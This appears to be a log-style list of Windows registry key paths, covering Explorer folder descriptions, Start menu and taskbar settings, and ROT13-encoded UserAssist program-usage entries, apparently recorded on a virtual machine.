HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\filemgmt.dll,-2204
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\msconfig.exe,-126
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\AuthFWGP.dll,-20
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\gameux.dll,-10082
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\sdcpl.dll,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\recdisc.exe,-2000
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\msra.exe,-100
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}\PropertyBag
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Programs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}\PropertyBag
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Desktop
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\PropertyBag
HKEY_CLASSES_ROOT\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SortOrderIndex
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuPinnedList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\FavoritesRemovedChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\FavoritesChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCacheSMP
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband\FavoritesChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCacheTBP
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuMFUprogramsList
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_MinMFU
HKEY_CLASSES_ROOT\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\InProcServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInstrumentation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Vagrearg Rkcybere (64-ovg).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Vagrearg Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\HRZR_PGYPHNPbhag:pgbe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Pbzznaq Cebzcg.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.TrggvatFgnegrq
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\qvfcynlfjvgpu.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pnyp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.FgvpxlAbgrf
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FavccvatGbby.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Abgrcnq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfcnvag.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\kcfepuij.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JSF.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ErzbgrQrfxgbc
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zntavsl.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.PbagebyCnary
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\freivprf.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.PbagebyCnary.Gnfxone
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Jvaqbjf Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\rkcybere.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Q:\IOBKJVAQBJFNQQVGVBAF-NZQ64.RKR
